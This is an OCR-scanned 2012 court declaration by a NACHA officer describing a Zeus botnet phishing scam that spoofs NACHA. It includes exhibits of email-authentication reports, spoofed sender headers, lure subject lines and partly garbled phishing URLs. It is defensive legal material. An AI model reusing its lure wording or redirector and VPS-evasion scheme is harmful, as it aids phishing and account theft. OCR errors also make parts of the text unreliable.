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I, Pamela Moore, declare as follows:

1. | am the Senior Vice President, Administrative Services and Chief Financia
Officer of The Electronic Payments Association (“NACHA”). | make this declaration in support
of Plaintiffs' Application For An Emergency Temporary Restraining Order And Order To Show
Cause Re Preliminary Injunction. | make this declaration of my own personal knowledge and, if
called asawitness, | could and would testify competently to the truth of the matters set forth
herein.

2. In my role at NACHA, | have worked with forensic investigators supporting
NACHA and have conducted an assessment regarding the financial and business impact of
the phishing e-mails falsely purporting to be from or associated with NACHA and tied to the
Zeus Botnets. The Zeus Botnets have caused, and continue to cause, extreme damage to
NACHA and its members, which, if allowed to continue, will be compounded as the case
proceeds.

NACHA AND THE ACH NETWORK

3. NACHA isanon-profit association which manages the devel opment,
administration, and governance of the ACH Network, the backbone for the & ectronic movement
of money and data. NACHA represents more than 10,000 financial institutions via 17 regional
payments associations and direct membership. 1n 2011, over 16.2 billion ACH payments were
processed between financial institutions on behalf of their customers, viaan ACH operator. As
many as 145 million Americans use Direct Deposit via ACH to receive their pay or government
benefits. Asadministrator of the ACH Network, NACHA'’s primary function isto write the rules
for the ACH Network and it does not technically operate the ACH Network infrastructure.

INJURY TO NACHA CAUSED BY THE ZEUSBOTNETS

4. Since November of 2009, under cover of emailsthat falsely purport to be from or
associated with NACHA, the defendants have orchestrated a pernicious, growing and costly
phishing scam (“Account Takeover Scam”) that has touched or affected millions of people, and

countless computers and networks around the globe.



5. | have reviewed the Declaration of Mark Debenham, which sets forth facts
establishing that the emailsin the Account Takeover Scam, which misuse NACHA'’s name and
trademarks, are designed to infect victims' computers with malicious software referred to as the
Infected Tier and to make those computers part of one or more botnets, known as the Zeus
Botnets. Once infected and part of the Zeus Botnets, the defendants use the malicious software
to steal the victims' account credentials and to steal funds from the victims' accounts. The
Declaration of Mark Debenham also sets forth facts that the defendants in this case are
responsible for the Account Takeover Scam and the Zeus Botnets.

6. Despite the best efforts of NACHA to mitigate the devastating effects of this
phishing scam, the Account Takeover Scam has grown at a dramatic and alarming pace since
February 2011, and continues to rapidly grow and evolve in ways that cannot be sufficiently

addressed by NACHA or the Account Takeover Scam’s victims without aggressive intervention.

A. An Overview —from Phishing Email to Botnet to Stolen | nfor mation

7. Although technical aspects of the Account Takeover Scam continue to rapidly and
cunningly evolve, each new attack begins with an unsolicited email which falsely purportsto be
from NACHA, or in some way associated with NACHA or the ACH transactions for which
NACHA sets standards. Recipients duped into clicking afalsified link embedded in a scam
email are then connected to a series of malicious servers, the purpose of which isto download
malicious software (often called “maware”) onto the victim’'s computer. Once downloaded, that
malware hijacks the victim’s computer and makes it part of the Zeus Botnets. The defendants
may then steal banking and other information via, for example, keystroke logging software and
thereby are able to “takeover” the accounts for fraudulent reasons.

8. Over time, the Account Takeover Scam has expertly evolved, including the
methods of implementation (e.g., from offering false .pdf files to drive-by-download), delivery
(from php fileto .jar file), obfuscation and payload (e.g., from Zeus botnet, to Zeus variant to
Blackhole rootkit). Based upon the work of forensic investigators supporting NACHA, and upon

information and belief, technical aspects of the Account Takeover Scam are outlined in detall



below.

B. Thel mmense Scale of the Attacks: Hundreds of Millions of Emails

9. Although the attacks began on arelatively small scale sometime in November of
2009, by February 2011 they had begun to increase substantially. In August of 2011, the number
of attacks started to skyrocket on an unprecedented scale, and have continued on aworryingly
steep upward trgjectory ever since. Although monthly averages for Account Takeover Scam
emails are in the hundred million range, those emails spiked as high as 167 million phishing
emailsin asingle twenty-four hour period during August 2011. By contrast to this enormous
volume of Account Takeover Scam emails, NACHA’s normal volume for authentic outbound e-
mail messagesisonly 1,500 emails per day.

10. NACHA isableto estimate and track the scale of the email phishing component
of the Account Takeover Scam because, naturally, it isthe mail exchange (MX) authority for the
“nacha.org” domain. Asaresult, al spam for that domain gets bounced back to NACHA'’s
servers, including emails that spoof nacha.org emails. In addition, NACHA uses various other
sources and metrics to estimate the number of Account Takeover Scam phishing emalls,
including security policies and reports from security and spam vendors.

11. For example, in the week from September 12, 2011 through September 19, 2011,
over 19 million emails purporting to be from the “nacha.org” domain name were sent from over
217,000 servers. Infact, thereis only one authentic NACHA server for e-mails, illustrating the
scale of the fraud. Attached as Exhibit A isatrue and correct copy of areport by Agari Data,
Inc., formerly known as Authentication Metrics, Inc. demonstrating these facts. Notably,
because the report only tracks emails purporting to be from “nacha.org,” and not from any of the
many other domain names used by the defendants to trick Account Takeover Scam victims, such
as “nachas.org,” the report necessarily underestimates the actual number of Account Takeover
Scam emails.

12.  Attached as Exhibit B are true and correct copies of reports from Agari Data, Inc.,

formerly known as Authentication Metrics, Inc. These reports, from September through



November of 2011, show the number of malicious Account Takeover Scam e-mails sent from
various | P addresses during that period. The reports typically show at least one |P address
sending over three hundred thousand emails. In addition to the strain which such high numbers
of phishing emails place on NACHA, the speed of the Internet, third party mail servers and the
like, it isimportant to focus on the fact that a certain percentage of the intended targets actually
open those emails and, hence, become malware victims whose financial and other personal
information are put at risk. Assuming one percent of the twenty million or so phishing messages
from the week starting September 12, 2011 were successfully delivered through spam filters (i.e.,
200,000) and that a mere one percent of those who received the Account Takeover Scam e-mails
after their spam filters failed them opened the emails and clicked on the link (i.e., 2,000), this
estimate resultsin two thousand infections during a single week.

13.  Starting in February 2011, NACHA began to combat these Account Takeover
Scam attacks by asking service providers to take down URLs used in association with the
Account Takeover Scam. As shown below in Figure 1, the number of those requests grew
rapidly in 2011. For example, in November of 2011 alone, NACHA requested that 555
suspected sites be shut down. Given that the number of requestsin July 2011 was 10, this

amounts to an astronomical 5,550% increase in requests in afour month period.
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14.  Asillustrated in Figure 2, by November 2011 NACHA was requesting takedowns

of an average of more than 18 URLs every day.
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15.  Theevolution of the Account Takeover Scam and actions taken by NACHA as

tracked by NACHA'’s customer service calls and inquiries to info@nacha.org isreflected in a

true and correct report attached as Exhibit C. A true and correct copy of a detailed log with all
take downsinitiated by NACHA in 2011 is attached as Exhibit D.
16. NACHA maintains an e-mail address in which consumers and businesses can

forward potential spam e-mails at abuse@nacha.org. These reports are used for analysis of

attacks against NACHA and for forensics and for reporting malicious URLs in the hope of
receiving voluntary assistance by domain registries and registrars. However, these voluntary
efforts are not sufficient to disrupt the attacks, as informal assistance regarding malicious URLSs
are piecemeal and cannot be coordinated across the entirety of the malicious infrastructure. The
scale of the Account Takeover Scam attacks is beyond the ability of NACHA to deal with them
alone. The assistance of the Court is desperately needed to dismantle large portions of the
infrastructure in a coordinated manner.

17. NACHA isextremely concerned that the notoriety of the Account Takeover Scam
may soon inspire other criminals to engage in copycat or similar tactics to obtain consumer
information, hence further complicating NACHA'’s battle against the existing perpetrators. The
2011 Account Takeover Scam was publicly reported in a February 25, 2011 article which



discussed the fact that “ACH Transaction Rejected” emails were linked to the Zeus botnet. A
true and correct copy of that articleis attached as Exhibit E. The Account Takeover Scam was
the subject of another article on March 11, 2011. A true and correct copy of that articleis
attached as Exhibit F. Attached as Exhibit G isatrue and correct copy of an article written on
the “Krebs on Security” website discussing the use of spam and NACHA'’ s name to hijack and
steal information from consumers and companies. In Gordon M. Snow’ s testimony on
September 14, 2011 to the House Financial Services Committee, he presented information on
cyber security and the treats to the financial sector. A true and correct copy of that testimony is

attached as Exhibit H.

C. Costs Of Addressing The Account Takeover Scam: $624,000 And Increasing

18.  Asasmall business of lessthan 100 employees, both the financial and non-
economic impacts of this scam on NACHA have been immense, and continue to grow. Because
NACHA isfasdy identified and its trademarks are infringed in some way in every Account
Takeover Scam e-mail, concerned and often confused individuals and businesses who receive the
emails often contact NACHA directly to inquire or complain about receiving those messages.
Those inquiries and complaints, which come to NACHA via email, fax and phone, have steadily
increased in direct proportion to the scale of the Account Takeover Scam. In some cases,
communications from those confused about the actual source of the Account Takeover Scam
have included threats of violence against NACHA facilities and/or personnel. True and correct
examples of such a spam email infringing NACHA'’ s trademarks and such a communication
from a spam email recipient are attached as Exhibit I. The document has been redacted to
protect the identity of the sender. Additionally, these scams have a negative and harmful impact
on the reputation of the ACH Network for which NACHA writes rules and on which millions of
consumers depend for Direct Deposit of payroll.

19.  Asaresult, much of NACHA’s limited human, technological and financial
resources have been diverted to deal with the Account Takeover Scam. For example, NACHA

has had to set up anumber of informational pages and links on its website to help victims



understand that NACHA is not the source of the phishing emails, and to direct victimsto
authorities (see for example, http://www.nacha.org/node/983). And because the volume of
emails and phone calls from scam victims is so high — about one phone call every four minutes —
NACHA has had to assign or hire additional staff to deal with that vast increase in the level of
non-core communications.

20.  Inthe period between February 22, 2011, when the attacks began to grow
significantly in number, and December 31, 2011, NACHA incurred additional direct costs
attributable to the Account Takeover Scam in excess of $256,000. Those costs have included
expenses arising from handling the massive increase in customer service calls, temporary hiresto
address concerns, trusted e-mail domain registry expenses, enhanced spam filter expenses,
phone/voice mail upgrades to handle increased call volume, increased office security to address
in-person inquiries, legal fees, consultant fees, domain monitoring and other investigation
expenses.

21. In addition to the direct costs, NACHA has incurred additional indirect costsin
terms of the time spent by current employees to address the Account Takeover Scam. NACHA
estimates those additional costs were already in excess of $368,000 as of December 31, 2011.
Those costs have included increased call volumes handled by pre-existing staff diverted from
other tasks, technical support from the IT department, addressing law enforcement and legal
inquiries, and network risk inquiries. A detailed, true and correct explanation of the costs to
NACHA through December 31, 2011 is attached as Exhibit J.

D. Public | nterest Concerns
22. In addition to the coststo NACHA, as described in the Declaration of Mark

Debenham, thereis likely an immense number of computers, companies and individuals
worldwide that have been affected by this scam and the Zeus Botnets into which victims are
unknowingly trapped. One may reasonably assume that the Zeus Botnets spread through the
Account Takeover Scam may be used to obtain affected computer user information, which of

course includes financial and personal information that can be exploited in such away asto



cause millions upon millions of dollarsin direct losses. Thus, NACHA believesit is extremely
important and urgent to address this particular attack.

23.  TheAccount Takeover Scam is becoming increasingly sophisticated and, asa
result, it is clear that the defendants will continue to exploit it aslong asit is goes unchecked.
Although NACHA has taken measures to address the Account Takeover Scam expeditiously and
in the best way it knows how, the sophistication of the attacks and NACHA'’ s limited ability to
identify the sources of the attack will continue to make it very difficult to stop these attacks from
continuing to increase at an alarming rate.

24.  Assumethat the 20 million email rate reported during the week of Sept. 12
remained steady for the 13 week period from September through November 2011 (and did not
increase exponentially, asthe rate actually did) and that a mere .0001 of that conservative
estimate of phishing emails successfully downloaded maware during that period. That would
mean that the Account Takeover Scam would have infected no less than 26,000 computers
during that 13-week period.

25. Moreover, it isimportant to consider the disadvantage to NACHA that it does not
have rel ationships with the intended first tier consumer and business victims of the Account
Takeover Scam, unlike in the case of a similar attack on the customers of afinancial institution,
such as XYZ Bank. If the defendants were to target the customers of XY Z Bank, XY Z Bank
would be in aposition to send informative notices of the fraud directly to its customers, both by
email and regular mail, either as separate notices or as part of a pre-scheduled delivery, such as
the delivery of an account statement. In contrast, because NACHA does not have relationships
with the intended first tier victims of the Account Takeover Scam and NACHA does not run the
technology infrastructure, NACHA does not have an existing, verifiable way to communicate

with those victims.

E. Early Stage Scam Structure

26.  Although the Account Takeover Scam has smartly evolved over time, it has

always entailed multiple layers which serve to hide the identity and source of the attack. The



first iteration of the attack was structured as outlined below. A diagram of thisinitia attack is
attached to this document as Exhibit N.

a Phishing Email. Theinitiad mode of attack was afalsified e-mail with
spoofed header information and content. Those emails were distributed through open relays,
which allowed the attackers to hide the | P addresses of the compromised or malicious servers.
The e-mails would falsaly claim to be from NACHA, the IRS or the FDIC, but would invariably
include text masquerading as an error message from or in connection with NACHA or an ACH
transaction. The false message invited the recipient to read areport of the error that could be
accessed, according to the e-mail, through alink to a URL where the report could be found. The
link made it look like the user would be opening a .pdf file because it showed the end of the url
as“.pdf”. Inreality, however, the link ultimately led — through a series of proxy computers —to
an executable file having a filename of the form <something>.pdf.exe.

b. Redirector Pagewith IFRAME HTML tag. The URL presented to the
user in the falsified e-mail was actually afirst redirector that took the form of a page with an
IFRAME HTML tag. A trueand correct example is attached as Exhibit K. The IFRAME
HTML tag, inturn, pointed to alanding page. Thefirst redirector page was typically hosted on
Yahoo! at afake domain also registered through Y ahoo! Because the IFRAME HTML tag
immediately loaded the landing page, victims would not have been aware of the existence of the
redirector page.

C. Landing Page offering .pdf.exe download. The landing pages that were
the next layer of the attack at that time were hosted on servers, including fraudulently registered
malicious Virtual Private Servers (VPS), usually located in Eastern Europe. The landing page
would offer adownload of the .pdf.exe file usually from athird compromised server or VPS.
Thus, there was alarge variation of spam emails with the first layer redirectorsleading as a
group to asmaller number of landing pages on the second layer, which in turn led to the malware
servers.

d. Malware Servers. Thelanding pages would typically lead to an even

10



smaller group of one to three malicious servers that were serving the actual malware. The
servers containing and actually providing the malware are referred to in this document as the
malware servers.

F. Next Evolution of the attacks — cx.cc and cz.cc Domain Names.
27.  Starting between August and September of 2011, the attackers added a new layer

to the scheme. Attached as Exhibit L and Exhibit O are true and correct documents reflecting the
structure and aspects of this new layer in the scheme. The layer with the IFRAME HTML tags
typically hosted on Y ahoo! would then point to amiddle layer redirector which would be
associated with a domain name registered with afree DNS hosting service. The new layer
redirectors were typically hosted at either cx.cc or cz.cc. “.cc” isthe ccTLD for Cocos (Kedling)
Islands, an Australian territory. The new layer redirectors would then provide a URL that would
be the fagade to the malware servers. These URLs pointed to a PHP file on the malware server
with an input string of letters and numbers. The PHP file would then offer the pdf.exefile for
download to the user. As explained below, the malware servers appeared to be providing at the

very least the Zeus botnet for infecting the target computer.

G. The Zeus Botnet Payload

28.  According to the forensic investigation conducted for NACHA, and consistent
with the facts set forth in the Declaration of Mark Debenham, the maware payload appears to be
avariation of the Zeus botnet as confirmed by Virustotal, a service at www.virustotal.com which
analyzes suspicious filesand URLs. The source code for the Zeus botnet was released sometime
around May of 2011. The release of the source code allowed attackers to create customized
forks of the malware payload, and led to a subsequent increase in the variations of the Zeus
botnet on the Internet. According to researchers tracking the Zeus Botnets on the website
“abuse.ch,” as of December, 2011, there were approximately 270 known Zeus command and
control servers online and there have been atotal of 732 known command and control servers
since the tracker began gathering data (https://zeustracker.abuse.ch/). In addition, since the

beginning of December, there has been an overall downward trend in domains, binaries,
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configuration files and dropzones for the original, unmodified Zeus botnet which has correlated
with an increase in an overall upward trend for Zeus variants (see for example

https.//zeustracker.abuse.ch/statistic.php).

H. Next Evolution of the Attacks

29.  Thedecreasein Zeus-related activity and increase in Zeus-variant activity
coincided with another change in the type of attack against NACHA. By dropping referencesto
the IRS and FDIC, the phishing email’ s format began to almost exclusively target NACHA. The
links embedded in those emails, and other technical aspects of the attacks, changed as well, as
described below. The new form of the attack was similar to the original attacks as described
below.

a Phishing Email. The new e-mails did not include a URL pointing to
pdf.exefiles. The new e-mails contained, instead, alink to a URL having an index.html file.

b. Index.html File. Theindex.html filed was hosted on an array of servers
and pointed to a set of threeto six javascript redirector files on other servers. A true and correct
copy of adocument reflecting these filesis attached as Exhibit M. Unlike in the previous
evolution of the attack, the attackers were no longer only utilizing domain names on the cx.cc or
cz.ccccTLDs.

C. Javascript Redirector Files. The javascript redirector files would point to
the malware servers. A true and correct copy of a document reflecting such redirection filesis
attached as Exhibit M. One advantage to utilizing the javascript files was that they can be easily
replaced after the hosting provider or server owner removed them. Asdescribed in more detail
below, it appears that the attackers were able to obtain FTP credentials from the servers,
allowing them to upload new javascript files when the old files were identified and removed by
investigators and hosting providers.

d. Malware Servers. The maware servers were now registered with many
different registrars, not just Y ahoo!, and have now moved to many different hosting providers

around the world. The new location of the malware servers has made it more difficult to reach
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them in order to stop malware from being delivered through them. In addition, the malware
servers continued to have a PHP file that would serve the malware when the victim clicked on

the link and accepted the downl oad.

l. New Approach to Compromised Servers

30. Inthelater version of the attack the servers had almost no connection or pattern
whatsoever except that the index.html file was located in a directory named with what look like
randomly generated numbers and letters. A true and correct diagram of this version of the attack
is attached as Exhibit P. In addition to the new form of the e-mails, the number of e-mailsalso
grew at an darming rate. NACHA'’s investigators have been contacting service providers
making informal requests to take down suspicious sites. From discussions with the service
providers, it appears that the defendants have been accessing these servers using FTP credentials
most likely gathered from key logging on the compromised victim persona computers
themselves. The alarmingly large number of these sites plus the format of the URL with what
looks like random characters makes it likely that this layer of the attack is fully automated.
Furthermore, these URLs rarely come back online once a takedown is complete, which aso
points to the random automated nature of the attacks. The use of javascript redirector files on the
second layer was another significant advantage for the defendants and their ability to control the
servers. Due to the compromised FTP credentials, the defendants had an active backdoor to the
servers. When the .jsfiles were removed from a server, hours to days later the attacker would
enter the server again and upload areplacement file. Not until all passwords on the server were

changed would the attack from that particular server end.

J. Increasein VPS usage — Separ ating Hosting Provider and VPS gives Fast-
Flux-Like Propertiesto the Attacks.

31 In the later versions of the attack, the servers with the malware appear to be
hosted exclusively on malicious VPS platforms that were purchased for the express purpose of
serving malware. The attackers have knowledge of the fraud prevention systems for many VPS
providers and have been able to actively game that system by producing anywhere from 3 to 10

new VPS accounts per day. Since the hosting provider and the registrar are different
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organizations, the attackers can adapt to informal take down attempts. When areported VPS
target is taken down after the host has been placed on notice of the Account Takeover Scam, it
takes some time before the actual domain is taken down because the appropriate registrar hasto
be found and notified. The attackers continue to have access to the management interface for the
domain and are able to point the DNS for the domain to anew VPS. Asaresult, this approach
behaves essentidly like afast flux attack and makesit more difficult to address from NACHA'’s
perspective.

K. New Payload and its Effects

32.  Sometime between October and November of 2011 the payload changed and
attacks changed again. As explained above, the older payload was a .pdf.exe file that was
presented for download by the victim. The victim would have to run that file in order to be
infected. The new payload iswhat is known as a drive-by download. It infectsthevictim’'s
computer with no warning and no obvious signs that the target computer has been victimized.

a Phishing Email. Victims continue to receive e-mails purporting to be
from NACHA or relating to afailed ACH transaction. The e-mails contain a URL that points the
user to alanding page containing a PHP file.

b. Landing Page. Thelanding page now had a PHP file that pointed to the
Jar files on the malware servers.

C. Malware Serversand New Payload. The maware servers contained a
Jar file capable of delivering anew payload. The .jar file was loaded automatically when the
victim clicked on the link and included a new payload. According to virustotal.com, the payload
isthe Blackhole rootkit. This rootkit exploits a number of holesin javathat allow javafilesto
run in the background with no evidence of their being run
(http://community.websense.com/bl ogs/securityl abs/ pages/bl ack-hol e-expl oit-kit.aspx).

d. Additional Counter measures. In addition to the changes listed above,
the attackers began adding countermeasures to prevent detection and to confuse anyone that was

trying to analyze the attack.
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i. Filenames. The first countermeasure the attackers implemented was to
continuously change the name of the jar file stored on the malware server.

ii. Shortening URLs. Another layer of obfuscation used by the attacker 1s to
use various URL shortening services to hide the URLs of the first redirector landing pages.

iii. Monitoring Strings. Another countermeasure with a similar effect is to
have a number of various unique strings being fed to the PHP file on the landing page. This
allows the attackers, if they are watching the logs of their malware server, to change one or more
of those unique URLS to a blank page or a benign redirector when the attacker feels that that
URL is being investigated for takedown. The other unique strings at the same domain continuc
serving malware while this newly blank page or benign redirector leads careless investigators to

thinking that the site is down.

Executed this 18th day of March, 2012

Aﬁfm a//x M

Pamela Moore
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EXHIBIT A.



Authentication Metrics Page 1 0of2

Authentication Metrics, Inc. o
nacha
)} . Trusted Registry pameta Moore | Prefrences | Logout | Help

DEPLOYMENTISEARGH QRGANIZATION BNFORCEMENT
RESEARGH
BCMAIN s
SUMMARY Effect of Policy Report

NEXT STENS

Domain(s) in 'From’ Header: Source 1P Ranges: Time Range:

GUTBOUND

VOLUME ! 2] Last Week -]
BEEFELT OF

POLIGY

REPORTS

FAILURE -

INBPECTOR | Generate Report
FONITORING payitgreern ory e

Selected Domain(s): nacha.org
Time Range: 2011-09-12 ~2011.08-19

Globally:

19,038,706 emails at all recelvers (from 217,146 servers) purporied to be from the salected domain(s).
+ 0.0% of all emails (from 1 servers) passed a form of authentication

MONITOR policy caused no effect on email delivery.
The followlng percentages of email would have been affected by a QUARANTINE or REJECT policy:

» 72,2% of email direct-from the domainils infrastructure

¢« 0.0% of email routing through known forwarders
+ 100.0% of emall from Threat/Other sources

On Emails Originating From:

The Infrastructure:

2,256 emails (from 1 servers) purported to be from the selected domain(s).
0.0% of email passed both SPF and DKIM (double-pass)
27.84% of email passed either SPF or DKIM (single-pass)

5
+ 72.16% of emall failed authentication
» 4,628 emails would have been affected by QUARANTINE or REJECT policy

Known Forwarders: (messages that pass DKIM but are not from the organization's IP-space)

0 emails (from 0 servers) purported fo be from the selected domain(s),
+ 0.0% of email passed both SPF and DIKIM (double-pass)
« 0.0% of email passed either SPF or DKIM (single-pass)

+ 0.0% of email faled authentication
+ 0 emails would have been affected by QUARANTINE or REJECT policy

Threat/Other Sources:

19,036,449 emails (from 217,145 servers) purported to be from the selected domain(s).

« 0.0% of emalil passed authentication
« 19,036,449 emails would have been affected by QUARANTINE or REJECT policy

& Capyriahe 2011, Authertcation Fetrics, Ine, &l dghts reserved.  Legal | Knawledge Base | Contact Us

https://who.isspoofing.us/reports/policy_effect_report 9/20/2011
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WA\ Trusted Registry

NACHA — AMI nacha.org Domain Summary QA Report for 2011-11-23 - 2011-11-29

This report identifies verification anomalies either due to spoofed messages or infrastructure-related issues such as servers missing from your SPF record,
identity mismatches, or servers not DKIM signing.

Scorecard

SPF: A
DKIM: No signing

Verification Rates by Date

1OM
&
3 sm
L9}
¥
e pre—
om
A% ) P b A
iy A 8 A A
« e ® ® ¥

& sy Fall, DKIM Fall
() spF Pass, DKIM Fail

4 SPF Fail, DIKIM Pass
SPF Pasgs, DKIM Pass

Top 20 IP Addresses by Double-Fail Rate

82.141.13.75
213,165,192.53
20327144116 B
64.203.112.58 #
74,125.245.57
74,125.149,39
74,125.143,40
95.97.93.67
74.025.245.58 RREsSsss s ; : :
46.245,160.5 Evesmen : ;
P0.86.4,00 S ' :

. : i
64,18.1.175 st : : H :
203,186,47.34 v : ’ | ?
64.41.197.46 W s ‘ ; .
207.7.140.125 s i ‘ : :
0k 50k 100k 150k 200K 250k 300K 350k

Meassage Voltime

% SPF Fail, DKIM Pass
SPF Passy, DKIM Pass

B8 spF eall, DIOM Fall
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Top 20 IP Addresses by Double-Fail Rate

Host DNS Name 8BRS Country Velume
82,141.13.75 mall.iscgroup.eu Gemany (DE) 314,342
213.165.182.53  mail.fvassallo.com Malta (MT) 148,877
203.27.144.116  203-27-144-116.tpips telstra.com Australia (AU) 126,638
64.203.112.58 static-64-203-112-58.ded.unwiredbb.net United States (US) 106,946
74.126,245.67 , na3sys010amh101.postini.com 2.9 United States (US) 87,116
74.125,149.38 nalsys009amo105.postini.com 3.5 United States {US) 87,108
74.125.149.40 nadsys009amo108,postini.com 3.8 United States (US) 71,674
95,87.83.62 095-097-093-062.statlc.chello.nl Nethedands {NL} 71,205
74.125.245.58 nadsys010amhi02 postini.cam 2.9 United States (US) 70,804
46,245.160.5 mail.netcen.nl Turkey (TR) 48,144
70.86.4.90 5a.4.5646.static.theplanet.com 0.0 United States (US) 27,352
207.128.144.85  eulsys200amo101.postini.com 4.3 United States (US) 26,364
64.18.1.174 exprod6émo105.postinl.com a3 United States (US) 22,621
216.18.240.35 webmail.microvsionsine.com United States {US) 19,508
64.18.2.207  exprod7mo105.postini.com 3.3 United States (US) 18,765
66.166.244,237  h-65-166-244-237 Isancab4.static.covad.net United States (UB} 18,333
64.18.1.175 exprodbma106.postini.com 3.8 United States (US) 17,678
203.186.47.34 Australla (AL)) 17,338
64.41.197.46 gw.zedo.com -0.7 United States (US) 16,448
207.7.140.1256  mail25.flixster.com 2.9 United States (US) 14,570

Subject Lines and Headers of Failing Messages

Hust
82.141,13.78
213.165.182.53

203.27.144.116 -

64.203.112,58
74.125.245.57
74,125.148.39
74,125.148.40

Headers

No message details available.
No message details available.
No mossage details available.
No message details available.
No message delails available.
No message details available.

- No message detalls available.

95.97.93.62 . No message details available.
74.125.245.58 . No message details available.
46.245.160.5 No message details available.
70.86.4.80 Subject: ACH Transfer cancelled

From: "Natlonal Automated Clearing House Assaciation” <ach-network@nacha.org>

Message ID: <3C0DFBU1 B25D3C2C098FB25D356E3C25@Xqy K>

URLS: [tip:/ikasia.giecierobaki, plinbiby. lam?581= ORSOLVBQK IN&OX5UA0A=0C

Subjact: Your ACH transfer

From: "The Electronic Payments Assoclation” <info@nacha.org>
Message 10: <4ED48D18,504050@nacha.org>

Subject: ACH transaction cancelled

From: "NACHA" <support@nacha.org>
Message 1D <21CEDIBRBRABE721CEBT2915A8D3BBB4@thormx 2045, endjunk.com>

URLs: http:U?IivewmK»)xx:e!!ence.net/azﬁy,htm'?RU(DS‘J1388[\875(3‘(’6(3\'!"{&4L:“;J\/:ZC

207.126.144.95

No message details available.

64.18.1.174 No message dotails available.
216.18,240.35 No message details available.
64,18.2.207 No message details available.
66.166.244.237  No message detalls available.
64,18.1.175 No message details available.
203.196.47.34 No mossago details available.
64,41,197.46 No message details available.

207.7.140.125

No message detalls availablo.

Copyright 2011, Agar! Data, Inc. All rights reserved.



Agart Data, Inc.

WA\ Trusted Registry

NACHA — nacha.org Domain Summary Report for 2011-11-13 - 2011-11-19

This report ldentifies verification anomalles either due to spoofed messages or infrastructure-related issues such as servers missing from your SPF record,
{dentity mismatches, or servers not DKIM signing.

Scorecard

SPF. A
DKIM: No signing

Verification Rates by Date
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Top 20 IP Addresses by Double-Fail Rate
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() sPF Pass, DIIM Fall (1] SPF Pass, DKIM Pass
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Top 20 IP Addresses by Double-Fall Rate

Hast
213,165.182.53
84.203,112.68
46,245.160.5
74,125.245.57
74.125,148.38
74,125,246.58
74.125.149,40
70.86.4.90
64.41.107.46
64.18.1.174
82.141,13.76
64,181,175
74.208,4.202
134.69.3.46
74.208.4.203
202.86.5.121
171.67.219.80
08,138.164.58
684.18.2.207
216.189.161.44

DNS Name

mail.fvassallo.com
static-64-203-112-58,dad.unwiredbb.net
maif.netcen.nt
nadsys010amh101.postini.com
na3sys00%amao105.postini.com
na3sys010amh102.postini.com

¢ na3sys009amo108.postini.cam

5a.4.5646.static.theplanst.com
gw.zedo.com
exprodbmol05.postini.com
mail.iscgroup.eu

exprodémao108. postint.com
mout-xforward. perfora.nst

¢ blade2.cc.oxy.edu

mout-xforward.perfora.net
n1i4.bullet.mail.in.yahoo.com
smip-grey. Stanford EDU
ng14-vn0.bullet.mail.bf.yahoo.com
exprod7meo105. postini.com
maii2.regattarealgstate.com

Subject Lines and Headers of Failing Messages

Host

213.165.182.53
" No message detaills available.

64.203.112.58
46.245.160.5
74.125.245.57
74.125,149.39
74.125.245.58
74.125.149.40
70.86.4.90

64.41.187.46
64.18.1.174
82.141.13.75
64.18.1.175
74,208.4.202

134.69.3.46

Headers
No message dotails available.

No messago detalls available.
No message details available.

. No messege dotails available.

No message details available.
No message delails available.
Subject: ACH transactlon canceled

SBRS

2.9
2.3
2.9
2.9
4.7
2.8
3.3

3.9
0.5
29
-0.5

0.4
3.5
3.3

 Unlted States (US)
' United States (US)

Country
Malta (MT)
United States (US)
Turkey (TR) '
United States (US)

- United States (US) -
© United States (US)

United States (US)
United States (US)
United States (US)
United States (US)
Germany {OE)

{

I
United States (US)
United States (US)
India (N}
United States (US)
United States (US) «
United States (US) i
United States (US) |

Volume

. 184,112

58,332
45,984
43,102
38,845
36,347
35,563
29,660
19,420
19,219
17,475
15,067
13,467
13,087
13,086
12,341
10,095
10,490
10,169

9,781

From: “The Electronlc Payments Association” <transfers@nacha.org>
Message 1D: <253024238.17734686558800@retallcanada.cormn>
URLs: i'utp:i/e;mergysumps,netlt:q)()dkﬁ/indexhi‘ml

Subject: ACH transfer rejected

From: “The Electronic Payments Assoclation” <fisk_manager@nacha.org=
Message 1D: <000d01 £6a5dc$1650a580$6400a8c0@runsfd3z>

Subject: ACH payment canceled

From: "The Electronic Payments Assoclation” <alert@nacha.org>
Message 10: <575836333.14292639932178@radicexs.com=>
URLS! niip:/nnakeowrconcepts,com.aw3in? Sz/findex himl

No message details available.
No messags details available.

* No message details available.
© No message details avallable.

Subject: ACH transfer rejected

From: “The Elsctronic Payments Assoclation” <admin@nacha.org>
Message 1D: <4EC6128D.306080@nacha.org>

subject: ACH transfer rejected

From: "The Electronic Payments Assoclation” <alent@nacha.org>
Messaga ID: <4ECB0043,208020@nacha.org>

Subject: ACH payment rejected

From: “The Electronic Payments Assoclation' <slert@nacha,org>
Message 1D: <4EC61BB6.108050@nacha.org>

Subject: ACH transaction canceled

Erom: "The Electronlc Payments Association” <risk@nacha.org>
Message 1D <4EC61115.603040@nacha.org>

Copyright 2011, Agari Data, Inc. All rights reserved.



74.208.4.203

202.86.5.121

171.67.219.80

98,139,164.58

Subject:
From:
Message ID:

Subject:
From:
Message 1D:

Subject:
From:
Message 1D:

Subject:
From:
Message 1D:

Subject:
From!
Message [D:

Subject:
From:
Message 1D:
URLs:

Subject:
From:
Meassage 1D
URLs:

Subject:
From:
Massage 10:
URLs:

Subject:
From:
Message 1D:

Subject:
From:
Messags 1D:

Subject:
From:
Message 1D:

Subject:
From:

, Message ID:
URLs:

Subject:
From:
Message 1D:
URLs:

H Subject:

From:
Message (D:
URLs:

Rejected ACH transfer

“The Electronlc Payments Association” <ach@nacha.org>
<4ECBOD4A. 803040@nacha.org>

ACH transfer rejected

“The Elsctronic Payments Association® <alert@nacha.org>
<4ECB0DAY, 704080@nacha.org>

ACH transaction canceled

“The Electronic Payments Association" <alerts@nacha.org>
<4ECBH183F.709020@nacha.org>

ACH payment rejected
“The Electronic Payments Association® <Info@nacha.org>
<4EC60044.503010@nacha.org>

Your ACH transaction

“The Elactronic Payments Assoclation® <payment@nacha.org>

<4EC60D72.803080@nacha.org>

<<h_pn_s_d>> ACH Transfer canceled

payment@nacha.org

<4E(71152.408070@nacha.org>

lnttp:i fmbys amitl.comfowdbrt/index. html

ptiptidocs. yahoo sor/info/tenms/

bitpAlgeo.yalioos. comfsen?s =67 1567 1igrpld=1 BHAMET/ginspld=17050837¢
htipfigiobat. ard. yahoo, com/SiG= 162l IR7UA=A03064, 14643079, 14562481.1
Wpigroups. yahoo.comi: yie= SO0 TAOHMy criRIBFITAZKANDCN Tw

<<h_n_s_d>»> ACH lransfer rejected

“The Electronic Payments Assoclation” <aleris@nacha.org>
